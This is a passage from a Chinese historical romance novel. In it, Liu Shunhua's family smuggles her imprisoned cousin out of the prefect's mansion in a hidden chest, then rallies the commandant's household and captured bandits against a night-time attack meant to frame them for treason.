古赞丽转头看向窗外,“我自幼流落到凉州,被养在醉月居。小的时候,还不会跳舞,只能做些洒扫的活计。我手脚笨,又不会汉语,经常被人欺负。有次我在醉月居外洒扫,不小心溅了哪个贵人一身,被他拉便要打,是莹莹她将出来打酒的钱赔给了那人,才让我幸免于难。” 柳棠华点头:“莹姐姐她热心得很,对我也很好。” 古赞丽收回目光,叹声道:“我真羡慕莹莹,有你们这么好的兄弟姐妹。” 柳棠华想着这两日的相处,不忍见她伤感,拉过她的手,一双杏眼亮晶晶的,“不管是在长安还是凉州,我都没什么朋友。姐姐是我这辈子认识的第一个朋友,我虽然成不了姐姐的亲妹妹,但会记得姐姐一辈子的。” 古赞丽眼眶一红,拼命忍住,拉紧柳棠华的手,“有你和莹莹,我这辈子……不枉此生。” 两人正说着便听到有人敲了下窗壁。 大表哥熟悉的声音传来:“姑娘,到了。” 古赞丽对着柳棠华点了点头,两人缓缓下了马车。 大表哥递上请柬,垂着头对着守门的侍卫道:“我们是醉月居的,来此献舞。” 侍卫扒开大表哥,正瞧见两个女子一前一后下了马车。 古赞丽盈盈施礼,对着侍卫微微一笑。 她眼眸深邃而明亮,眼角微挑,鬓边一缕秀发飘起,一身红衣飞扬,飘然欲仙,露出的半截细腰又增添了几分妩媚。 侍卫紧紧盯着古赞丽,呆愣了许久。 大表哥咳了一声,“敢问,可否通行?” 侍卫回过来神,连声道:“自然、自然。” 古赞丽朝大表哥招招手,“你去,将马车上的箱子抬下来。” 大表哥会意,拉着候在一旁的二表哥,抬着箱子便想进门,却被侍卫拦了下来。 古赞丽不动声色,摇曳着上前,主动将箱子打开,“这里面是我今日要用的琵琶,还有舞姬们备用的衣裙等物。” 侍卫凑过去一看,箱子内的确只有一把皮革包着琵琶,整整齐齐地摆放着一些藕色的衣裙,散落几把羽扇。 他挥了挥手,大表哥与二表哥对视一眼,将箱子抬了进去。 看着古赞丽与柳棠华顺利进了刺史府,二楼的柳舜华与陈莹松了一口气。 陈莹拉着柳舜华,试图在做最后的谈判,“表姐,我也想去。” 柳舜华安慰着,“阿莹,我知道你是想帮忙,可是你出入刺史府太多次,侍卫们难免会认出你。你就乖乖在这等着,若是里面万一有什么变故,日落时我们还未出来,你也好立即回去,寻族人过来帮忙。” 此次虽说做了万全的准备,可凡事都有意外,她不得不做最坏的打算。 即便救不出表姐,也要保证其他人的安全。 不能亲自去营救姐姐,陈莹有些失落,“好吧,我听你的。” 柳舜华笑了笑,“你这个才是最重要的,要眼观四路耳听八方。你现在,可是我们所有人的后盾。” 陈莹这才释怀,展颜一笑。 柳舜华告别陈莹,转身去了医馆。 待到日暮,柳舜华换了男装,随同范神医一起踏进了刺史府。 刺史府西院正房,范神医帮郑充换了药,正要起身离开,郑充突然呜呜地叫了起来。 管事嬷嬷吓得不轻,立即上前,“范先生,公子他这是怎么了?” 范神医按住他的手腕,仔细检查一番,面色逐渐凝重起来。 管事嬷嬷轻声道:“范先生,如何了?” 范神医收回手,厉声道:“这些天,不是说要好好补一补气血,怎么还是这么虚?” 管事嬷嬷颤声道:“这些,这些都是少夫人安排的。” 范神医脸色阴沉,“少夫人呢,这么重要的事,怎么照顾得如此草率?” 管事嬷嬷立即道:“来人,还不快请少夫人过来。” 陈茵很快被请了进来,这次她看起来好了许多,脸上的脂粉不似先前那般厚重,眼中也有了几分光彩。 范神医一见她便道:“少夫人,此前老夫说过,要多喝些红枣粥,可有按我给的药方,按时熬给公子服用?” 陈茵瞥了一眼瘫在床上的郑充,淡声道:“每日都有熬煮,我在小厨房亲自熬好喂下的。” 范神医神色略有缓和,“那就奇怪了,不应该啊,是不是熬煮过程出了问题?” 陈茵眼眸一沉,轻声道:“若是范神医不放心,可随我亲自到小厨房去查看,若是我做得不妥,也好顺便指点一二。” 原本柳舜华还有些担心表姐紧张之下露出破绽,却不想她竟如此镇定,不但洞悉了范神医的意图,还顺便解决了他们的难题。 柳舜华心内叹息,在这深宅大院内,即便是再温婉敦厚,都不得不磨砺出一点微不可查的锋芒,以免被风吹雨打得残破零落。 范神医起身道:“也好,我这就随你去看看。郑公子这病,实在耽搁不得。” 管事嬷嬷来不及反应,稀里糊涂地跟着几人出了门。 门口的侍卫见管事嬷嬷跟着,并未劝阻,只是眼神示意两个丫头贴身跟着。 莹儿此前常出入刺史府,对这的布局一清二楚。据她所述,出了正房,绕到郑充平日常用的小厨房,需要经过一处山石掩映的小路。而那里,便是他们动手的地方。 柳舜华心内默默盘算着,还好早料到他们会派人跟着,她们早有准备。 因寿宴摆在前厅,一路上只见零星几个侍女仆从来去匆匆。 几人各怀心事,很快便走到山石处。管事嬷嬷走在最前头,陈茵由两个丫头陪着紧随其后,范神医与柳舜华落在后头。 大路一转,来到山石处,迎面走来两个下人打扮的小厮。 管事嬷嬷一瞧,不像是府内的下人,喝道:“你们是什么人?” 两个小厮慌张卑躬屈膝地垂下头,“我们是今日寿宴请来的帮工,走错了路。” 管事嬷嬷骂道:“蠢东西,怎么绕到这里来了。顺着这个路往前走,看到月洞门,再往前出了花圃,往右转,然后一直走,过了侧门,便到前院了。” 两个小厮抬头,笑道:“多谢。” 管事嬷嬷挥了挥手,一句“赶紧走”还未说出口,只觉眼前一黑,晕了过去。 两个小厮一人制服管事嬷嬷,一人按住一个丫头,另外一个丫头反应过来,转身便要逃。 柳舜华上前挡住她的去路,手一伸,一根带着麻药的细针便插在她脖颈间。 陈茵反应过来,看着眼前的两个小厮,激动得泣不成声,“大弟、二弟……” 两个表哥看到陈茵,哽咽道:“大姐,我们来接你回家。” 陈茵握住两人的手,眼泪簌簌而下。 柳舜华催促道:“快些将她们拖到一旁,免得被人发现。” 大表哥与二表哥忙敛了情绪,将三人拖到山石后。 柳舜华扒了其中一个丫头的外衣,慌忙递给陈茵。 陈茵瘦弱,直接将外衣罩在身上。 收拾妥当后,柳舜华看了看范神医,躬身道:“范先生,有劳了。” 范神医笑着摆摆手,找了个舒服点的地方躺 了下去,“哪里的话,老夫只能帮你们到这了,你们千万小心。” 几人不敢停留,朝着舞姬候场的客房走去。 走到客房前,几人止住了脚步。 门外站着两个侍卫。 二表哥让他们侯在一旁,他则趁两个侍卫不备,翻身滚到窗边,对着窗子敲了三下。 柳棠华以腹痛为由,留在此处接应,正在一旁枯坐着,猛地听到声响,一下来了精神。她整理好衣衫,推开房门。 “两位大哥,我还是腹痛难忍,里面的茶已经凉了,能不能讨杯热水喝?” 柳棠华捂住肚子,眨着一双圆溜溜的眼睛,可怜巴巴地望着两个侍卫。 两个侍卫相互看了一眼,略有些为难,“实在对不住,今日守备严,我们不能擅离职守。” 柳棠华疼得声音颤抖,“我实在忍不住了,两位大哥,你们就可怜可怜我吧。” 两个侍卫踌躇道:“烦劳姑娘再忍忍,等到你们同伴回来再说,我们也没办法啊。” 柳棠华弱弱道:“好,我知道你们也不容……” 最后一字还未说出,人已经倒了下去。 两个侍卫吓了一跳,忙弯下腰拍着柳棠华,“你怎么样,没事吧?” 柳棠华努力睁开眼,“我疼得……有点喘不过气。” 其中一个侍卫摸着头,“怎么办,要不要叫人来?” 另一个看了柳棠华一眼,“那要不,你去?” “你去。” “你去。” 两人不忍心看着这么水灵灵的姑娘疼得在地上翻滚,又不敢擅离职守,一时争执不下。 “出什么事了?”大表哥换好了醉月居的衣衫,款步而来。 待走近些,对着躺在地上的柳棠华眨下眼。 方才还在打滚的柳棠华慢慢站起身来,虚弱地扶住门框,“方才……腹痛难忍,已经好……好多了。” 大表哥粗声道:“出来一次还要拖后腿,古赞丽马上就要下场了,没事就赶紧收拾一下。” 柳棠华唯唯诺诺,“我这就去。” 话音方落,古赞丽便同一众舞姬走了进来,身后还跟着二表哥。 看到大表哥,古赞丽挥手道:“你们快去,把东西抬出来,咱们这就回去。” 大表哥与二表哥进屋,将箱子搬了出去。 一众舞姬跟着出了刺史府。 柳舜华早寻借口出了府,提前到二楼与陈莹汇合。 陈莹见到柳舜华,激动道:“怎么样,姐姐没事吧?” 柳舜华坐下,倒了一杯茶,双手微微颤抖,“一切顺利,接下来就看古赞丽的了。” 两人紧盯着刺史府门口,期待着古赞丽的身影。 过了许久,终于瞧见古赞丽走了出来。 大表哥与二表哥紧跟着抬起箱子,费力地搬上马车。 柳舜华与陈莹相视一望,一颗心终于落地。 “等一下。”有人从府内大步走了出来。 第38章 第38章这次你不会再是一个人 柳舜华一颗心瞬间被提起,屏住呼吸,一双眼紧盯着楼下。 那人一身玄衣,瞧着不过二十左右,一双鹰目却透着精光,眼神中满是寒意,“怎么不搜?” 门口的两个侍卫忙上前讨好道:“这是醉月居的舞姬,来的时候已经查过了。” 那人对着一众舞姬扫过去,目光凌厉,看得柳棠华浑身一颤,忙躲到古赞丽身后。 “今日刺史寿宴,鱼龙混杂,怎可如此大意?人员可都核对过了?” 两个侍卫举起手上的册子弯腰道:“六人,一个不多一个不少,您瞧瞧。” 那人走到马车旁,停了下来,目光一扫,拍着尚未抬上去的箱子,“打开。” 古赞丽轻摇腰肢,不慌不忙上前,娇柔道:“这位大人,我们来的时候都检查过了。里面放的是我方才宴席上用的琵琶,还有一些姑娘们备用的衣裙。” 那人冷眼瞧着古赞丽,冷声重复道:“打开。” 大表哥与二表哥看了眼古赞丽,紧张得心砰砰直跳。 古赞丽娇媚一笑,“这位爷,一个箱子而已,不必动怒。爷想看,奴打开便是。” 说罢,她走上前,亲自打开,“爷请看。” 那人走近,仔细一瞧,里面的确只有一把琵琶,还有一叠跳舞穿的衣裙。 他目光微沉,伸手将衣裙扒开,露出箱底。 箱底空空如也。 古赞丽拿出琵琶,半个身子歪过去,“爷是对这琵琶感兴趣?若您不弃,今夜可到醉月居,我定为您弹上一曲。” 那人身子一僵,退后两步。 古赞丽不依不饶,一副看透他的表情,娇笑道:“对琵琶不感兴趣,那必是对这舞衣有兴致。今夜,奴穿上这舞衣,醉月居等您。” 那人不知想起了什么,片刻愣神,又十分嫌弃地看了她一眼,转头朝门内走回去。 古赞丽轻轻将琵琶放回箱子内,朝着二表哥一笑,“还不走。” 醉月居两辆马车一前一后,很快驶离刺史府门前。 待到前方一个岔路口,古赞丽借口要去止云斋取衣裙,将其余人甩开。 二表哥一路驾着马车,终于在一处僻静的巷口停了下来。 “到了,到了。”陈莹早已等候多时,看到马车过来,拉着柳舜华激动不已。 柳舜华来不及回应她,待到马车停稳,一把掀开车帘,矮身钻了进去。 “快,快将东西拿出来。”柳舜华打开箱盖,急道。 众人七手八脚地将东西取出,柳舜华拿出随身携带的短刀,对着侧壁用力一撬,将一块连着箱底的可活动木板取了下来。 陈茵单薄的身躯正靠在箱壁,坐在木箱内,大口喘着气。 “姐姐!”陈莹叫了一声,泪如雨下。 陈茵双眼半睁,嘴唇止不住颤抖,声音嘶哑,“莹儿。” 马车外站着的两兄弟跟着红了眼眶,他们终于将姐姐救了出来。 众人将陈茵扶出木箱,古赞丽忧心道:“刺史府的人很快便会发现,咱们不能耽搁,还是依着原计划,将人暂且安置在醉月居吧。” 陈茵无故失踪,刺史府首要怀疑的,便是陈家。 所以,陈茵暂时还不能回去。 柳舜华点头,“有劳姑娘了。” 几人不敢耽搁,正准备告知二表哥驾车,便听到车外一阵响动。 大表哥浑身戒备,厉声道:“你们是什么人?在此作甚?” 车内几人相视一望,屏住呼吸。 刺史府的人这么快便查来了? 陈莹一手抓着姐姐,一手握紧马鞭,随时等着冲出去。 只听车外有人低声道:“车内可是柳小姐?” 柳舜华侧耳一听,声音有些熟悉,掀开车帘一角朝外望去。 来人竟是都尉府的周松。 柳舜华瞬间放下心来,问道:“你怎么会在这?” 周松笑了笑,“柳小姐是想将人藏在醉月居吧?” 柳舜华微微一诧,点点头。 周松道:“贺公子说,醉月居虽鱼龙混杂,利于藏匿,但郑充常在那里厮混,难免会有他的眼线。都尉府西街有一处宅院,环境幽静,可以让表小姐安心养伤。而且,那附近住的都是一些有头有脸的人物,刺史府的人不会轻易去此处闹事。” 说罢,他便上前,将钥匙递给守在一旁的大表哥。 “西街,安乐巷,中间那户,系着红色丝带的皂角树旁便是。” 陈莹看着柳舜华,“表姐?” 柳舜华本不想贺玄度牵涉太甚,特意没有告知他此次的计划。范神医虽是都尉府的人,但她此前并未告知要将人藏在醉月居,贺玄度又是如何知晓的? 她虽不知贺玄度究竟如何知晓,不过他的安排的确更好。 她回头看了看表姐,点头道:“好,钥匙我收下了,明日我必登门道谢。” 周松见她收了钥匙,笑道:“柳小姐,东西既已送到,那我先告辞了。” 为免人多眼杂,几人当即决定,二表哥继续护送古赞丽回醉月居。大表哥提前回家安抚舅父,毕竟他们悄无声息出去一天,很难不让人起疑。 事已说定,陈莹换了二表哥,架着车赶往安乐巷。 陈茵脑中一片昏沉,扶着胸口,歇了好一会,才渐渐有了好转,“舜华,方才那个贺公子,可靠吗?” 柳舜华面上有几分不自然,摸着脖颈,“他……很可靠。” 陈莹听得真切,在外面笑道:“姐姐放心,贺公子是万都尉的侄子,人自 然不会差的。” 听到万都尉,陈茵徒然变了脸色,混沌的头脑一下清醒过来,“都尉府,有危险。” 车内几人面面相觑,柳舜华急道:“表姐为何这么说?” 陈茵慌道:“刺史府借此次寿辰,暗中部署,今夜要血洗都尉府。” 柳舜华一听,连连摇头,“刺史府为何要动都尉府?而且刺史府那点人,别说血洗都尉府,怕是连门都进不去,怎么可能呢?” 陈茵喘了几口,忙道:“你们可有听说近日常有山匪出没?那些人,根本不是什么山匪,全都是刺史府的人。刺史府借着剿匪的名义,已经将他们全部安排在凉州城各处,就是为了今晚。” 几人惊得目瞪口呆,刺史府竟敢如此行事。 柳舜华闻听此言,顿时紧张起来,对着陈莹喊道:“莹儿,快些,再快些。” 柳棠华按着心口,颤声道:“不会吧,都尉府内皆是精兵,至少有上千人,刺史府能有多少人?” 柳舜华沉下脸,“近日有一队匈奴兵来犯,万都尉领兵前去平乱,至今未归。如今,都尉府上下不过百余人。” 她紧握双拳,细细思量,觉出一丝异常,“刺史府若今夜袭击都尉府,要如何善后?他是想造反吗,就不怕朝廷事后追究?” 陈茵皱眉道:“不,造反的不是刺史府,而是都尉府。” 几人又是一惊,“这是什么意思?” 陈茵凝眉道:“刺史府准备血洗都尉府,然后诬陷都尉府勾结匈奴造反。” 柳舜华瞬间明白过来,“表姐,你便是知道这些,才被软禁起来的对吧?” 陈茵点头:“没错。” 众人不禁有些后怕,若是今晚刺史府事成,那表姐这个知情人,定要被他们斩草除根。 到时,整个凉州城便被刺史府把控,便是整个陈家,恐怕都未必能幸免。 马车转弯,很快进了安乐巷,停在一棵高大的皂角树旁。 柳舜华跳下马车,对着陈莹道:“莹儿,你快回去,将家人都接过来,你们即刻出城。” 想了想,又道:“快些,不论如何,也要将他们全部带来。” 陈莹方才已听到姐姐的话,来不及多想,跳上马车飞奔而去。 柳棠华像是感觉到了什么,一把拉住柳舜华,“姐姐,你要去哪儿?” 柳舜华握住她的手,看着陈茵,“表姐,我要去都尉府。待会外祖他们过来,你们马上出发,不必等我。” 陈茵焦急地看着她,慌道:“蓁蓁,我也担心都尉府,担心凉州城的安定,此前给你写那个寿字,就是想提醒你,刺史府寿宴后会有行动。可事已至此,无力回天,咱们只能将消息传递给都尉府,让他们设法抵抗。至于其他,只有咱们先逃出去,活下来,将来才能有机会证明都尉府的清白。” 柳舜华摇摇头,目光坚定,“不,表姐,你们先走,今日我必须去。” 柳棠华紧紧拽住柳舜华,泪眼婆娑,“姐姐,我要跟你在一起。” 柳舜华狠下心,抽出她的手,“芊芊,你听话,跟着他们一起出城,你跟着我只会是拖累。你相信我,我会想办法脱身的。明日若是脱困,我自会去城外寻你们。” 柳棠华缓缓放下手,姐姐一旦做了决定,再难改变。她知道,姐姐无论如何,都不会跟她们走的。 柳舜华朝着陈茵躬身道:“表姐,外祖他们年事已高,经不起折腾。还望……还望告知他们我已提前出城,莫要让他们担心。” 陈茵还想挽留她,情绪一激动,又止不住地喘着气,“蓁蓁,此事因我而起,我不能眼睁睁地看着你……” 柳舜华按住她的手,“不,表姐,此事与你无关,你不必内疚。一切都是我自己的选择,我愿意。” 说罢,她不再停留,转身离开,拼命向前奔去。 “姐姐,你一定要回来啊!” 她听到柳棠华在身后哭喊,不敢回头。 残阳似血,火烧一般,染红了半边天。 风声在耳边掠过,相府的那场大火又燃烧在眼前。 熊熊烈火中,她仿佛又看到了贺玄度,他就一个人,孤零零地站在那。 贺玄度,这次你不会再是一个人。 第39章 第39章他只有一个念头,她绝不…… 侍卫回禀说柳小姐过来的时候,贺玄度愣了一下。 此时夕阳已落山,最后一点余晖随之消散,暗沉沉的天色压在四周,牢笼一般。 贺玄度没想到,这个时候,她还会过来。 他整理了衣襟方准备出门去迎,刚出院子,柳舜华便一头扎了进来。 贺玄度忙伸手扶住她,“你这个时候来做什么?” 柳舜华拉着他往内走,“贺玄度,你听……我说,都尉府今夜有难。” 贺玄度一惊,“你怎么知道?” 柳舜华知他暂时反应不过来,上气不接下气地喘着解释,“刺史府,刺史府今晚要对都尉府发难,诬陷都尉府造反。” 贺玄度一愣,明显不信,“怎么可能,他根本拿不出证据。” 柳舜华急道:“怎么不会,若攻下都尉府,证据不是随他们捏造。” 怕他不信,柳舜华接着道:“我表姐无意间听到了郑刺史他们的计划,所以才会被软禁起来。行动就在今晚,他们一早便算计好了,趁着万都尉不在,袭击都尉府。贺玄度,都尉府要尽快做好打算,不然,真的来不及了。” 贺玄度低头沉默片刻,转头对上柳舜华,“若是如此,你快些离开,以免被波及。” 他想了想,又道:“侧门隐蔽,离安乐巷近些,我让人从那里送你出去。” 柳舜华站在那里,并没有动。 贺玄度看着她,有些着急,厉声道:“柳舜华,你是傻了吗,怎么还不走?” 柳舜华歪头朝他一笑,“贺玄度,已经晚了。这会我外祖一家,已经出了城。今夜,除了这里,我已无处可去。” 夜风突起,吹动着她的衣摆,单薄的身子却像是江边摇曳的蒲草,即便是风雨也不折不弯。漆黑的眼眸中带着坚韧,就这么静静地看着他,让他不得不重新正视她。 贺玄度心上猛地一颤,湿了眼眶,嘴上却刻薄道:“柳舜华,你就是个大傻子。” 夜色深浓,两人就这么看着,谁也没再多说一句。 “公子,刺史府有异动。”周松从外面匆匆赶来。 贺玄度回过神,神色凝重,“目前什么情况?” 周松看了看柳舜华,见贺玄度并没有隐瞒的意思,接着说:“寿宴结束,刺史府迅速纠集约五百兵士,瞧着像是有大动作。我已命人登上角楼时刻留意,若是靠近,必有人来报。” 柳舜华蹙眉,“不止,刺史府敢强攻都尉府,来人绝对不止这些。表姐说,前阵子出现的贼匪,其实是刺史府的人,早已被安排在凉州城各处,只怕就是为了此刻。” 周松先是一惊:“刺史府要袭击咱们都尉府?” 随后,他猛然一拍脑袋,“我说怎么一早就觉得哪里不对,都尉府周围来了许多生人,他们极有可能就是刺史府派来监视咱们都尉府的。公子,现在外面八成已被他们封锁,再想传递消息出去,只怕是难了。” 他急得团团转,忙跪下道:“公子,是我疏忽了,请公子责罚。” 贺玄度挥手让他起来,“眼下不是追究责任的时候,而是要解决问题。” 周松忧虑道:“如今都尉不在,单凭府内这些人……” 他没有说下去。 刺史府有精兵五百余人,再加上此前引入城的一批悍匪,对付仅仅百人、空虚的都尉府,几乎不费吹灰之力。 柳舜华挺身站了出来,盯着 贺玄度,目光灼灼,“贺玄度,刺史府此行,定不会留有活口授人以柄。都尉府阖府上下数百条性命,不能白白断送,你必须要站出来。” 贺玄度闻言,浑身一怔。 他一向以纨绔示人,在众人眼里,不过就是个只会吃喝玩乐的废物。他知柳舜华并未像其他人一样,因此轻视于他,可却不曾想到,有朝一日,她会同他说,让他站起来。她信他,信他能肩负起都尉府数百条人的性命。 柳舜华以为他被吓到不知所措,并未埋怨他无能,只是走到他身边,柔声道:“贺玄度,不要怕,咱们也不是毫无机会。都尉府不乏英才,你可以将他们聚起来,好好商讨御敌之策。刺史府虽人多势众,可若是咱们能坚持到天亮,到时百姓云集,刺史府又没实证,以都尉府的声望,或可利用声势奋力一搏。” 其实柳舜华也知道,以都尉府目前的兵力,若要对抗到天亮,简直难如登天。可若不奋力一搏,今晚之后,人人敬仰的万都尉将会被冠上卖国贼的称号,都尉府也将沦为一片废墟。都尉府昔日的辉煌与成就,也将随着这场战斗付之一炬。 尽管形势不利,尽管很有可能尸骨无存,可她就是想拼一下,和贺玄度一起,为今生拼一个将来。 贺玄度喉间发紧,声音干涩,“柳舜华,呆在这,外面有我。” 柳舜华抓住他的衣襟,“不,我要跟你一起,我不想一个人。” 她仰着头,目光里满是渴求,贺玄度的心突然就软了下来。 “好,咱们一起。”他说道。 角楼那边很快传来消息,都尉府四周已经被人围了起来。 刺史府到都尉府尚有一段距离,他们明白,如今这些人多半是此前潜入凉州城的贼匪。 贺玄度命人紧闭府门,没有他的命令,不得开门。 周松已聚集府内所有人到演武厅,留守的将士、一众仆从,满打满算百余人。 仆从们一个个吓得瑟瑟发抖,眼中尽是恐惧与不安。 不过这些将士多半是上过战场的,听闻刺史府今夜发难,只是短暂震惊,很快回过神来。 红彤彤的火把燃烧在演武场,昔日战场的激昂之气猛然迸发。 “老子是上过战场,同匈奴狗拼杀过的,会怕了他们不成。” “都尉府以护佑我凉州百姓为己任,对朝廷尽忠,岂能由他们污蔑。” “狗日的刺史府,贼胆包天,今日他们敢来,我们就跟他拼了。” “拼了!拼了!” …… 因都是将士,行军打仗的经验丰富,都尉府很快做好防备。 都尉府门墙高大,朱红的大门稳如泰山,除非有撞城车,抑或千斤锤,刀枪剑戟一时难以攻破。若想要进得来,只能通过爬梯来攻。 围墙四周被洒满了酒水、火油,只待围攻贼子进来时将其点燃。 贺玄度又让人翻找出过年剩下的烟花爆竹,从厨房里的搬出面粉。 大门处留了十余人看守,四周围墙之下各布置二十余人,一众妇孺被安置在偏厅。 安排好一切,偌大的都尉府,瞬间沉寂下来。 众人都握紧手中的武器,静静地等待着,那一刻的到来。 柳舜华就站在贺玄度身后,他一袭玄衣,手持长枪,立在门前,一脸肃杀。 不知为何,柳舜华突然想起了那个戴着银面的将军。 银面将军,祁连山下的假贼匪…… 柳舜华福至心灵,“贺玄度,此前捉获的那帮贼匪,是不是还关在府内?” 贺玄度点头,捉到的假贼匪按理应交由刺史府。可万都尉近日忙着对付匈奴兵,无暇顾及他们,是以并未进行交接。 柳舜华喜上心头,“太好了,他们虽是假贼匪,看起来却也不弱,若是说服他们加入,咱们也能多点胜算。” 贺玄度道:“他们是贼匪,怎么甘心陪着咱们背水一战?” 柳舜华却道:“不管他们是什么人,如今皆与都尉府在同一条船上,船稳则生,船破则死。” 贺玄度听懂她的意思,握紧长枪,对着她灼亮的眼眸,缓声道:“如今正是紧要关头,我走不开。既然你想试,那便去,不过,一切小心为上。” 柳舜华点头,“我会的,贺玄度,你也要小心。” 都尉府地牢内,烛火忽明忽暗。 程三他们正伸长了脖子,透过牢门往外看。 “三哥,这会狱卒都不在,瞧他们方才慌慌张张的样子,都尉府是不是出什么事了?” 程三瓮声道:“我怎么知道?” 有人不安道:“三哥,他们不会是想杀我们灭口吧?” 程三一巴掌拍了过去,“你是不是傻,要杀早杀了,还用等到现在。何况,我看万都尉,不像那些个狗官,只知道中饱私囊,不管百姓死活。” 有人附和道:“这倒是,咱们关进来的这些天,他们的确没有刻意为难咱们。” “嘘,别说话。”程三让众人闭嘴,“有人来了。” 急促的脚步声逼近,程三借着灯光,眯眼仔细瞧了瞧,一脸茫然。 满脑子只有一个疑问:这小白脸谁啊?之前好像没见过。 柳舜华一步步走下台阶,站在牢门前,“是我,柳舜华。” 众人面面相觑,柳舜华,谁啊? 程三看着眼前男装的柳舜华,好半晌才反应过来,喜不自胜,“柳小姐,怎么是你?” 柳舜华扫了一眼牢内,很好,这些时日都尉府并未苛待他们,一个个瞧着依旧健壮有力。 程三用手理了理蓬乱的头发,摸着脖子,有些不好意思道:“柳小姐是特意来看我的吗?” 柳舜华愕然。 一旁带路的狱卒一脚踢在门上,“给我老实点,你也不瞧瞧你什么身份,我们柳小姐……” 柳舜华不想与他们废话,打断道:“都尉府突遭袭击,贼人马上便要攻进来,你们想不想活命?” 牢中众人乱做一团,七嘴八舌地议论着。 程三皱眉道:“都尉府怎么会有人袭击,难不成是匈奴兵打进来了?” 柳舜华长话短说,“刺史府诬陷都尉府造反,趁万都尉不在,都尉府内空虚,欲血洗都尉府。” 此前赶牛车的大哥呸了一口,“他放屁。我们这些人虽是外地逃难过来的,但一路上都有耳闻,万都尉这些年一直抗击匈奴,维护凉州城的安定,怎么可能造反。反而是这个什么狗屁刺史,就是因为他横征暴敛的,还将手伸到我们那里,才逼的我们不得不落草为寇。” 柳舜华见他义愤填膺,众人也都跟着咒骂不停,当即道:“如今形势危急,诸位可愿随府内侍卫一起,奋力一战?” 话音方落,方才还吵吵嚷嚷的牢内,瞬间安静下来,眼神望向程三。 他们是为万都尉鸣不平,也着实厌恶郑刺史,可拼命这种事,还是要慎重。好死不如赖活着,他们还不想死。 程三眼一挑,沉声道:“柳小姐这是让我们去送死?” 柳舜华扫了他一眼,“你们现在出去,拿上武器,还能反抗。若是等贼人杀进来,怕是连反抗的机会都没。” 程三仰头一笑,“柳小姐,我们都是些毫不相干的人,又不清楚发生了何事,刺史府的人即便杀进来,也不见得就一定会对我们动手。” 柳舜华冷眼瞧着他,“若都尉府失陷,你当真以为,你们能逃过他们的毒手?刺史府诬陷都尉府造反,却并无实证,今夜突袭,他们定会想方设法将罪名落实,以免留下把柄。” 她默然扫过众人,“你们的存在,很可能就是把柄。” 他们都不是什么良人,自然知道斩草除根的道理,一时都慌乱起来,齐齐望向程三。 “三哥,怎么办?” “三哥,你发个话,咱们都听你的。” 程三思索片刻,抬头道:“要我们帮忙,也不是不可以。只是我有一个条件,不知柳小姐能不能做主?” 柳舜华一早便瞧出了他的意图,他其实比任何人都清楚,一旦贼人攻进来,他们不会有好下场。方才特意一番周旋,不过是想替大伙争取个优待。不愧是他们的老大,是个有头脑的。 她朗声道:“若是想要免除你们的罪责,这个我做不了主。不过我敢保证,若你们戴罪立功,击退贼人,万都尉一定会从轻发落。” “我们不要从轻发落,”程三摇头,“我们要入万都尉的军营。” 柳舜华一愣,她没想到程三竟是这个打算。 程三道:“我虽不知姑娘是何人,但此前我们得罪姑娘,是万都尉出手相救。如今,都尉府危急,又是姑娘站了出来。我猜,姑娘在万都尉那里,应该能说上话,所以恳请姑娘,若能击退贼人,望姑娘能在万都尉面前美言几句。” 柳舜华有些为难,对面的人明显误会了什么。她同都尉府,毫无交情,不过是中间夹着一个贺玄度。 她细细盘算着,若他们今晚命丧于此,自然也就不用担心这个承诺。 若能侥幸击退贼人,他们又有心回头,未尝不是一件好事。 至于日后要兑现承诺,左右还有贺玄度,他一直是个好说话的。 思及此,柳舜华点头道:“若你们肯从良,那自然再好不过,只要你们不再有害人之心,我相信万都尉没有理由拒绝。” 程三躬身郑重道:“如此,我等愿奋力一战。” 众人见他如此,纷纷高和道:“我等愿奋力一战。” 群情激昂,看得狱卒都有些热血沸腾。 柳舜华让狱卒开了牢门,一行人奔向武库,各自挑选了顺手的兵器,朝着前厅杀去。 …… 角楼处的侍卫来报,刺史府的贼人将到。 贺玄度紧紧盯着都尉府大门,周围的侍卫高举着火把,院内登时亮如白昼。 不一会,外面便传来哐哐的脚步声,随即叫喊声隔着大门响起: “都尉府勾结匈奴,数典忘祖,罪不容诛。” “快快出来认罪,饶尔等不死。” “不知者无罪,若开门来迎,恕其无罪。否则,格杀勿论。” …… 贺玄度听他们提到匈奴,脑中突然灵光一闪,瞬间将整件事串起来。 之前他一直想不明白,刺史府为何敢如此明目张胆,造反这样大的罪名,可不是随随便便一两个无关紧要、模棱两可的证据便能轻易坐实的。 如今他总算想通了,为何刺史府如此笃定能妥善处理,因为从始至终同匈奴勾结的,是刺史府。 他冷笑一声,上前隔着门朗声道:“数典忘祖,里通外贼的是你们刺史府。匈奴屡屡骚扰边境,次次得逞,都是郑刺史你的手笔吧?” 外面叫喊声顿时止住了。 片刻,一个浑厚的声音响起:“巧言善辩,颠倒黑白。谁不知道都尉府皆是精兵,对付一小骑匈奴兵,却是屡战屡败,明明是万都尉与匈奴联合,洗掠边境百姓。” 贺玄度回敬道:“郑刺史,你也不怕这话闪了舌头。此刻郑刺史身上,应该有与匈奴往来的书信吧。这些书信便是今日你要诬陷都尉府的证据,我猜的可对?” “诸位,你们可千万别被郑刺史给骗了。他才是真正的叛国贼,你们若是跟着他,不怕日后追责株连九族吗?不信的话,你们将郑刺史上下翻一翻,准能翻到好东西。” 喧嚣声暂停,外面人群举棋不定,郑刺史冷声道:“贺二公子,我本以为你是被那万诚的表象给迷惑了,有意想放你一马,你却执意与他同流合污,那就休怪我无情了。” 贺玄度高声道:“我是相府二公子,你动都尉府便是动我。你与丞相为敌,就不怕将来我爹降罪与你?” 郑刺史不屑一笑,“二公子,你当真以为我在凉州,京城之事便全然不知。贺丞相与都尉府关系怎样,又是如何对你,咱们心里都有数。” 贺玄度嗤笑道:“好啊,那你有本事就来杀了我。” 郑刺史劝道:“贺二公子,你还年轻,犯不上为了这些人赔上性命。若你此时开门,我可以保你不死。” 贺玄度朗笑道:“保我不死?郑刺史,你也说了我是同党,你怎么保,徇私枉法吗?” 郑刺史见劝不动,不再与他口舌,“贺二公子既不打算开门,却还在这周旋,无非就是想拖延时间。可惜啊,今夜,谁也救不了你。都尉府,完了。” 他大喝一声:“来啊,给我冲,第一个冲进去的,赏金千两。” 门外的士兵听到赏金,方才一瞬的顾虑全然没了踪影,一个个红了眼,朝着大门疯狂撞去。 眼见大门一时半刻攻不破,士兵们搬来梯子开始爬墙。墙边的侍卫们早做好了准备,举起长枪,对着墙头的贼军便是一通乱刺,霎时惨叫声四起。奈何对方人多势众,倒下了一批,又有一批攻了上来。 贺玄度命人将烟花爆竹点燃,朝着墙头扔去,霹雳吧啦的声响下,贼军们落荒而逃。 